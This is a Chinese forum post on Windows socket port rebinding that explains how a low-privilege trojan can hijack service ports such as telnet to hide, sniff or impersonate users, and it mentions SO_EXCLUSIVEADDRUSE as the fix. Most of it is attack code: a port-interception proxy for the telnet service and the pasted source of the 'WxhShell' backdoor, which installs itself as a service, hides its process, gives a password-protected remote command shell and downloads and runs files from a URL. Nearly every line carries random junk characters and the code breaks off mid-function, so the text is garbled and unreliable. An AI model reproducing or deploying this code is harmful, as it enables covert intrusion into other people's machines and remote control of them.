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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .1_kRy2*.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0s RcA-9  
@ rF|WT  
  saddr.sin_family = AF_INET; :H+8E5  
M Ih\z7gW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z<.?8bd  
)lq+Gv[%F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q1m{G1W n  
^`Hb7A(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aK 3'u   
#7/39zTK  
  这意味着什么?意味着可以进行如下的攻击: cH+ ~|3  
,J:Ro N_:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0Q)YZ2  
k|U2Mp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H6U 5-  
DKkilqVM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :T<5Tq*+x  
h Vui.]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !(Y,2{  
G.PRPl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'K#ndCGJ$  
?nq%'<^^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @[Q`k=h$  
ydAiH*>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `PSjk F(  
Xg* ](>/\,  
  #include V)vik  
  #include 8IE^u<H(:  
  #include %Y>E  
  #include    E>`|?DE@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j0s$}FPUI  
  int main() o^m?w0 \  
  { 5G$5d:[(  
  WORD wVersionRequested; !e*T. 1Kz  
  DWORD ret; 5HIQw9g6  
  WSADATA wsaData; FYK`.>L28  
  BOOL val; 2U( qyC  
  SOCKADDR_IN saddr; \f)GW$`  
  SOCKADDR_IN scaddr; 1l Cr?  
  int err; Ok fxX&n  
  SOCKET s; ./L)BLC i  
  SOCKET sc; \PcnD$L  
  int caddsize; dC|6z/  
  HANDLE mt; o?6m/Klw6  
  DWORD tid;   `*U$pg  
  wVersionRequested = MAKEWORD( 2, 2 ); TBRG D l  
  err = WSAStartup( wVersionRequested, &wsaData ); P+wpX  
  if ( err != 0 ) { =|8hG*D8  
  printf("error!WSAStartup failed!\n"); -Tn%O|#K  
  return -1; +T8MQ[(4  
  } O%N.;Ve  
  saddr.sin_family = AF_INET; 8@RtL,[d  
   (.VS&Kv#U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ou- uZ"$,c  
}}D32T VN  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wm_rU]  
  saddr.sin_port = htons(23); [m%]C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +.OdrvN4)  
  { HrfS^B  
  printf("error!socket failed!\n"); c*(^:#"9  
  return -1; P,9Pn)M|  
  } m^=El7+  
  val = TRUE; N/--6)5~0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T[#q0bv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y%spI/(  
  { &;=/^~EG  
  printf("error!setsockopt failed!\n"); _A] )q  
  return -1; ic"8'Rwb  
  } tC5-^5[y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UGj |)/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fc9@l a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]5Dh<QY&.  
~QDM .5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C+[)^ 2M{  
  { MU(I#Prpe  
  ret=GetLastError(); -;J6S  
  printf("error!bind failed!\n"); #sDb611}#  
  return -1; qmt9J?$k  
  } y@<2`h  
  listen(s,2); VpSpj/\m)'  
  while(1) Am_>x8z  
  { %:zu68Q[  
  caddsize = sizeof(scaddr); 'tvuw\hhL  
  //接受连接请求 ,?k1if(0[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,v,rY'  
  if(sc!=INVALID_SOCKET) 0H]{,mVs  
  { a @d 15CN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9dBxCdpu  
  if(mt==NULL) ,&qC R sw  
  { t(9q 6x3|e  
  printf("Thread Creat Failed!\n"); }m~MN4 l  
  break; @un+y9m[C  
  } S2_(lS+R  
  } L+(ng  
  CloseHandle(mt); zsJermF,O  
  } Y[dq"  
  closesocket(s); %dv?n#Uf  
  WSACleanup(); M +r!63T  
  return 0; R&J?X Q  
  }   }v4dOGc?  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?s3S$Ih  
  { (Bd'Pj]:  
  SOCKET ss = (SOCKET)lpParam; K +3=gBU*w  
  SOCKET sc; Dfa3&# #{  
  unsigned char buf[4096]; ?%}!_F`h%  
  SOCKADDR_IN saddr; #/f~LTE  
  long num; _#s,$K#  
  DWORD val; VqpC@C$  
  DWORD ret; )1KyUQ\e  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qq]Iy=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X<P <-e9  
  saddr.sin_family = AF_INET; x|(pmqIH+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \ "$$c  
  saddr.sin_port = htons(23); )<:TpMdUk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .\glNH1d  
  { T9H*]LxK  
  printf("error!socket failed!\n"); L/V^#$  
  return -1; });Rjg  
  } jWv'`c  
  val = 100; Np/\ }J&IF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Zo yO[#  
  { V L$ T  
  ret = GetLastError(); $ VP1(C  
  return -1; hW< v5!,  
  } @q q"X'3t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wi'}d6c  
  { MA6 Vy  
  ret = GetLastError(); Jt@lH  
  return -1; 5$D"uAp<V  
  } d#H9jg15e  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PD-&(ka.  
  { b' y*\9Ru  
  printf("error!socket connect failed!\n"); q1( [mHZ  
  closesocket(sc); n]ba1t8ZA  
  closesocket(ss); I}3F'}JV<  
  return -1; g}xL7bTlI>  
  } Oo}h:3?  
  while(1) &|~7`  
  { /uj^w&l#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *}d N.IL,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J-5>+E,nZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8Auek#[  
  num = recv(ss,buf,4096,0); ,0.kg  
  if(num>0) yJq<&g  
  send(sc,buf,num,0); y]m: {  
  else if(num==0) @wI>0B  
  break; ExS5RV@v'  
  num = recv(sc,buf,4096,0); JfIXv  
  if(num>0) MK=oGzK  
  send(ss,buf,num,0); 0lg$zi x(  
  else if(num==0) Y \-W`  
  break; ~\jP+[>M'  
  } V0>X2&.A  
  closesocket(ss); Wye* ~t  
  closesocket(sc); ]VRa4ZB{u  
  return 0 ; VAz4@r7hkq  
  } A51 a/p#  
zVq!M-e  
f\]?,  
========================================================== <gkE,e9  
alaL/p{O  
下边附上一个代码,,WXhSHELL Yi*F;V   
&>,;ye>A  
========================================================== K8;SE !  
,,gMUpL7_8  
#include "stdafx.h" iZ-R%-}B  
.ybmJU*Hg  
#include <stdio.h> w`)5(~b  
#include <string.h> W2 -%/  
#include <windows.h> nn_O"fZi  
#include <winsock2.h> ]?tRO  
#include <winsvc.h> =9GA LoGL  
#include <urlmon.h> Q&eyqk   
o utJ/~9;  
#pragma comment (lib, "Ws2_32.lib") ?,>3uD#  
#pragma comment (lib, "urlmon.lib") lFjz*g2'  
dFy$w=  
#define MAX_USER   100 // 最大客户端连接数 s5nw<V9$]  
#define BUF_SOCK   200 // sock buffer -3{Q`@F  
#define KEY_BUFF   255 // 输入 buffer )!2@v@SQ  
EAGvP&~P  
#define REBOOT     0   // 重启 hv|a8=U!R  
#define SHUTDOWN   1   // 关机 ny5 P*yWEh  
[iub}e0  
#define DEF_PORT   5000 // 监听端口 S4x9k{Xn  
$r/$aq=K  
#define REG_LEN     16   // 注册表键长度 }qn>#ETi  
#define SVC_LEN     80   // NT服务名长度 #'_#t/u  
V]F D'XAl  
// 从dll定义API '[ t.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9Da{|FyrD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gyw=1q+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |LZ;2 i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eiKY az  
z1mB Hz6  
// wxhshell配置信息 A@}5'LzL  
struct WSCFG { J\L'HIs  
  int ws_port;         // 监听端口 %Jt35j@Ee  
  char ws_passstr[REG_LEN]; // 口令 nqj(V  
  int ws_autoins;       // 安装标记, 1=yes 0=no yE8D^M|g  
  char ws_regname[REG_LEN]; // 注册表键名 !kovrvM6F  
  char ws_svcname[REG_LEN]; // 服务名 ba|xf@=&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K81X32Lm'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D&%8JL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o08WC'bX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tO M$'0u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ; llPM`)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J3eud}w  
23gN;eD+m6  
}; FEjO}lTK  
*7xcwj eP  
// default Wxhshell configuration V~*Gk!+f  
struct WSCFG wscfg={DEF_PORT, l=CAr  
    "xuhuanlingzhe", dk|LC-]`A  
    1, 72dRp!J U  
    "Wxhshell", qUJ"* )S  
    "Wxhshell", $6rm;UH  
            "WxhShell Service", *D? =Ts  
    "Wrsky Windows CmdShell Service", hIe.Mv-I)  
    "Please Input Your Password: ", .-Lrrk)R+  
  1, >v+1 v  
  "http://www.wrsky.com/wxhshell.exe", a !VWWUTm?  
  "Wxhshell.exe" 0/R;g~q@  
    }; f .O^R~,  
q\EYsN</;  
// 消息定义模块 !mlfG "FE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hVz yvpw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J&A1]T4d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ib..X&N2  
char *msg_ws_ext="\n\rExit."; <?.eU<+O`S  
char *msg_ws_end="\n\rQuit."; A9xe Oy8e  
char *msg_ws_boot="\n\rReboot..."; vB7Gx>BQd  
char *msg_ws_poff="\n\rShutdown..."; Fv^zSoi2  
char *msg_ws_down="\n\rSave to "; 1&boD\ 7  
` UsJaoR#f  
char *msg_ws_err="\n\rErr!"; ?Lg<)B9   
char *msg_ws_ok="\n\rOK!"; EF)BezG5y  
ojM'8z 0Hn  
char ExeFile[MAX_PATH]; 32ki ?\P  
int nUser = 0; ^~~Rto)Y  
HANDLE handles[MAX_USER]; tWIOy6`  
int OsIsNt; :r q~5hK  
eFiG:LS7  
SERVICE_STATUS       serviceStatus; 5iA>Z!sP[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 50_[hC&C)  
wH~A> 4*(  
// 函数声明 <m-(B"F X  
int Install(void); cGV%=N^BE<  
int Uninstall(void); KQf WpHwfj  
int DownloadFile(char *sURL, SOCKET wsh); )> ZT{eF  
int Boot(int flag); `etw[#~N  
void HideProc(void); 2.v{W-D[  
int GetOsVer(void); AU9C#;JD  
int Wxhshell(SOCKET wsl); JvAXLT  
void TalkWithClient(void *cs); oMbd1uus  
int CmdShell(SOCKET sock); :s *  
int StartFromService(void); |5~Oh`w  
int StartWxhshell(LPSTR lpCmdLine); kLgkUck8]  
T?1BcY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aO1^>hy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =Y2 Rht  
4/(#masIL  
// 数据结构和表定义 K#OL/2^ 5  
SERVICE_TABLE_ENTRY DispatchTable[] = FyEKqYl  
{ 1/-3m Po  
{wscfg.ws_svcname, NTServiceMain}, m9[ 7"I  
{NULL, NULL} nah?V" ?Y  
}; Mq0MtC6-  
._rPM>B?  
// 自我安装 '4'Z  
int Install(void) 0|AgmW_7 .  
{ rj=as>6B  
  char svExeFile[MAX_PATH]; !ZTghX}D  
  HKEY key; PNm@mC_fh  
  strcpy(svExeFile,ExeFile); |+Wn5iT  
|ke0G  
// 如果是win9x系统,修改注册表设为自启动 -64l f-<  
if(!OsIsNt) { `3\aX|4@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2K:A4)jZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AS;Sz/YP  
  RegCloseKey(key); N@|<3R!N*e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [<XYU,{R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6{)pF  
  RegCloseKey(key); _^_3>}y5op  
  return 0; :ts3_-cr  
    } O\<zQ2m  
  } T,!EL +o4  
} %"{P?V<-V  
else { mqZK1<r  
9QU\J0c/  
// 如果是NT以上系统,安装为系统服务 : #a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -E}X`?WhD  
if (schSCManager!=0)  /b=C  
{ ;^N lq3N  
  SC_HANDLE schService = CreateService f-M:ap(O  
  ( $OZ= L  
  schSCManager, gAqK/9;  
  wscfg.ws_svcname, X.<3 /  
  wscfg.ws_svcdisp, f"7MYw\  
  SERVICE_ALL_ACCESS, f\R_a/Us  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PMsb"=Ds  
  SERVICE_AUTO_START, !=YEhQ-  
  SERVICE_ERROR_NORMAL, }#7l-@{<  
  svExeFile, xKu#O H  
  NULL, znrO~OK  
  NULL, i|{psA  
  NULL, ZLzc\>QX  
  NULL, r)gK5Mv  
  NULL y,:WLk~  
  ); HGYTh"R  
  if (schService!=0) 4M&$wi  
  { a#]V|1*O  
  CloseServiceHandle(schService); $ W7}Igx#  
  CloseServiceHandle(schSCManager); CU|E-XPW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?>;b,^4  
  strcat(svExeFile,wscfg.ws_svcname); gGP6"|tc4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ChK-L6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "6d0j)YO  
  RegCloseKey(key); 5Y+YN1  
  return 0; yy3x]%KK  
    } ;O7"!\  
  } J$6WUz:?  
  CloseServiceHandle(schSCManager); Z]B v  
} P^OmJ;""D  
} W.^zN'a  
#ZJ 1\Ov  
return 1; >N#Nz 0|(  
} {@2+oOuYfN  
B.y}S  
// 自我卸载 #e@NV4q  
int Uninstall(void) #QFz /6  
{ 9\EW~OgTu  
  HKEY key; pFH.beY  
e%e.|+  
if(!OsIsNt) { G_1r&[N3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )B]s.w  
  RegDeleteValue(key,wscfg.ws_regname); [;wJM|Z J0  
  RegCloseKey(key); "73*0'm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jSpj6:@B  
  RegDeleteValue(key,wscfg.ws_regname); l,J>[Q`<  
  RegCloseKey(key); s?HK2b^;D  
  return 0; vD8pVR+  
  } %%K3J<5  
} }Nr6oUn  
} P%:?"t+J`;  
else { t{c:<nN  
l<1zLA~G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]$drBk86bh  
if (schSCManager!=0) z-MQGq xR  
{  _".h(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {ENd]@N*  
  if (schService!=0) :#g.%&  
  { (2eS:1+'8  
  if(DeleteService(schService)!=0) { Z7bJ<TpZ  
  CloseServiceHandle(schService); ?wHhBh-Q  
  CloseServiceHandle(schSCManager); 85!]N F  
  return 0; 7RDmvWd-'?  
  } H{n:R *  
  CloseServiceHandle(schService); rQl9SUs  
  } d0B`5#4  
  CloseServiceHandle(schSCManager); bit|L7*14  
} /Pe xtj<  
} E0I/]0  
Ug+ K:YUq  
return 1; cD]H~D}M  
} DY#195H  
w4P;Z-Cd  
// 从指定url下载文件 }Hb0@ b_  
int DownloadFile(char *sURL, SOCKET wsh) /)kJ iV  
{ ?lkB{-%rQ  
  HRESULT hr; @2T8H  
char seps[]= "/"; }vh <x6  
char *token; _FOIMjh%N  
char *file; d:hnb)I$*  
char myURL[MAX_PATH]; (-$5YKm  
char myFILE[MAX_PATH]; nl}LT/N  
Sj I,v+  
strcpy(myURL,sURL); :4AIYk=q  
  token=strtok(myURL,seps); )Wle CS_  
  while(token!=NULL) R]yce2w"z  
  { R ?s;L r  
    file=token; D SX%SE)  
  token=strtok(NULL,seps); }>M\iPO.]*  
  } v@]SddP,?  
Z-lhJ<0/Pa  
GetCurrentDirectory(MAX_PATH,myFILE); kcUn GiP  
strcat(myFILE, "\\"); k.b=EX|  
strcat(myFILE, file); 9ye!kYF,  
  send(wsh,myFILE,strlen(myFILE),0); \FfqIc9;  
send(wsh,"...",3,0); 1n<4yfJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gbYM1guiD  
  if(hr==S_OK) ]2l}[ w71|  
return 0; iDcTO}  
else %Mj,\J!  
return 1; aAe`o2Xs  
gs!'*U)  
} oUn+tu:  
w2xD1oK~o  
// 系统电源模块 5wW5 n5YS  
int Boot(int flag) +%j27~ R>D  
{ Ej)7[  
  HANDLE hToken; L{VnsY V  
  TOKEN_PRIVILEGES tkp; 4L:O0Ggz}  
~ S<aIk0l  
  if(OsIsNt) { hiibPc?I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4 .c1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &[{sA;  
    tkp.PrivilegeCount = 1; E[#VWM I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]&H"EHC<$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;%d<Uk?  
if(flag==REBOOT) { U]}FA2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eH7x>[lH.  
  return 0; KDb j C'3  
} "Y^j=?1k  
else { Zoxblk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .`~?w+ ~  
  return 0; tl /i  
} Odwf7>  
  } 9QX!HQ|5y8  
  else { 'k]~Q{K$  
if(flag==REBOOT) { eYP^.U)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3O; H&  
  return 0; m8PS84."]M  
} lTu& 9)  
else { im9 w|P5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Eoixw8hz  
  return 0; f.$[?Fi  
} d:|x e:  
} pTGGJ,  
3#$X  
return 1; R~iv%+  
} IagM#}m@  
J*b Je"8  
// win9x进程隐藏模块 ]B;`Jf  
void HideProc(void) OS`jttU@  
{ l'q%bi=f  
sgP{A}4 W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CR23$<FC  
  if ( hKernel != NULL ) @Ol(:{<  
  { t O.5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ph]b6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f6K.F  
    FreeLibrary(hKernel); vGlVr.)  
  } (/<Nh7C1c  
6QA`u*  
return; ^%zhj3#  
} ~n@rX=Y)]0  
a(6h`GHo  
// 获取操作系统版本 @*<0:Q|m  
int GetOsVer(void) D|Q7dIZm  
{ (_4DZMf  
  OSVERSIONINFO winfo; C{m%]jKH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?Xvy0/s5  
  GetVersionEx(&winfo); vE^tdzAG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Cp/f18zO  
  return 1; %m dtVQ@  
  else wH!$TAZ:Yw  
  return 0; ^?H|RAp  
} M1WD^?tKQ.  
z]rr Q=dAA  
// 客户端句柄模块 .B<Bqr@?8  
int Wxhshell(SOCKET wsl) +@^);b6  
{ l 3p :}A  
  SOCKET wsh; 3s?u05_  
  struct sockaddr_in client; tnnGM,"ol  
  DWORD myID; Q;VuoHj!  
o/7u7BQl2  
  while(nUser<MAX_USER) +'c+X^_  
{ 2Q%7J3I  
  int nSize=sizeof(client); 1D#-,#?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FfM^2`xP  
  if(wsh==INVALID_SOCKET) return 1; MZ$uWm`/  
5C1EdQ4S0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Wgh@XB  
if(handles[nUser]==0) 2kDY+AN;  
  closesocket(wsh); 5z 0VMt  
else +={K -g7U  
  nUser++; >nSt<e  
  } +Mijio  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ou-UR5  
l90"1I A  
  return 0; 2rT^OGw6  
} wjl)yo$z  
Q*T 'tkp  
// 关闭 socket y(QFf*J  
void CloseIt(SOCKET wsh) 2%fIe   
{ 0c`zg7|  
closesocket(wsh); $4xSI"+M%  
nUser--; WqF,\y%W*  
ExitThread(0); {,sqUq (  
} AcuF0KWw/  
tjFX(;^[  
// 客户端请求句柄 V>T?'GbS  
void TalkWithClient(void *cs) gm)Uyr$  
{ <$e|'}>A  
q 7%p3  
  SOCKET wsh=(SOCKET)cs; r~)fAb?  
  char pwd[SVC_LEN]; T8A(W  
  char cmd[KEY_BUFF]; 3:nBl?G<  
char chr[1];  <EU R:  
int i,j; kd^H}k  
B ktRA  
  while (nUser < MAX_USER) { 1V1I[CxlX  
70 7( LG  
if(wscfg.ws_passstr) { op9dYjG7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b*?u+tWP_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?p@J7{a  
  //ZeroMemory(pwd,KEY_BUFF); `5@F'tKQ  
      i=0; K{ar)_V/  
  while(i<SVC_LEN) { .c-a$39  
&$/ #"lW,V  
  // 设置超时 d)vP9vXy  
  fd_set FdRead; oV:oc,  
  struct timeval TimeOut; D;C';O  
  FD_ZERO(&FdRead); IANSpWea?  
  FD_SET(wsh,&FdRead); o0C&ol_  
  TimeOut.tv_sec=8; 1]G)41  
  TimeOut.tv_usec=0; q_.fVn:!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d:';s~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7m-%  
_aPAn|.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =lJ ?yuc  
  pwd=chr[0]; "wOfs$w%s  
  if(chr[0]==0xd || chr[0]==0xa) { V+Tv:a  
  pwd=0; bOj)Wu  
  break; VdK%m`;2  
  } x>[]Qk^?q  
  i++; Io.RT+slB  
    } D8Fi{?A#FV  
*7Q6b 4~"  
  // 如果是非法用户,关闭 socket EB*sd S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2; ^ME\  
} Vbl-Ff  
Z#d#n!Lz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v~Q'm1!O4\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r+FEgSDa]  
J |q(HpB  
while(1) { #; ?3k uq(  
xrkl)7;  
  ZeroMemory(cmd,KEY_BUFF); B}d&tH2^s  
m]2xOR_  
      // 自动支持客户端 telnet标准   {=[>N>"  
  j=0; e NIzI]~  
  while(j<KEY_BUFF) { ]X>yZec  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l\s!A&L  
  cmd[j]=chr[0]; sFFQ]ST2p  
  if(chr[0]==0xa || chr[0]==0xd) { |EE1S{!24m  
  cmd[j]=0; 6^Wep- $  
  break; &|>~7(  
  } GF ux?8A:%  
  j++; |HK:\)L%  
    } ZUQ _u  
qG6s.TcG  
  // 下载文件 sP(+Z^/  
  if(strstr(cmd,"http://")) { 5Ml=<^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HK!ecQ^+  
  if(DownloadFile(cmd,wsh)) 6$r\p2pi0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )]1hN;Nz  
  else 6CBk=)qH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dDPQDIx  
  } _B^zm-}8|B  
  else { s/D)X=P1  
.hat!Tt9  
    switch(cmd[0]) { "@UQSf,  
  vamZKm~p  
  // 帮助 >c,s}HJ  
  case '?': { y+(\:;y$7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k]@]a  
    break; A;TP~xq\  
  } F[jE#M=k  
  // 安装 ,L/x\_28  
  case 'i': { |u&cN-}C d  
    if(Install()) P"w\hF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |H5.2P&9-5  
    else I/f\m}}ba  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V"4Z9Qg}  
    break; E8# >k  
    } ;Q;j@yx  
  // 卸载 !$Nj!  
  case 'r': { #V!a<w4_  
    if(Uninstall()) KrE 'M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ntW@Fm:bw>  
    else 9|+6@6VY!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mOE *[S)  
    break; 3"y 6|e/5  
    } ! xCo{U=  
  // 显示 wxhshell 所在路径 UD.b b  
  case 'p': { r`O Yq  
    char svExeFile[MAX_PATH]; 75^6?#GS  
    strcpy(svExeFile,"\n\r"); W:d p(,L  
      strcat(svExeFile,ExeFile); A'|!O:s   
        send(wsh,svExeFile,strlen(svExeFile),0); eM5?fE&!&  
    break; Zzlf1#26\  
    } 8-2 `S*  
  // 重启 4_R|3L  
  case 'b': { w_(3{P[Iz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); THYw_]K  
    if(Boot(REBOOT)) '.mepxf< f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k +-w%  
    else { g$nS6w|5H  
    closesocket(wsh); 5'lPXKn+L  
    ExitThread(0); #4^d#Gj  
    } B 71/nt9  
    break; WK>F0xMs1  
    } A lU^ ,X  
  // 关机 iod%YjZu  
  case 'd': { ||$&o!;/L  
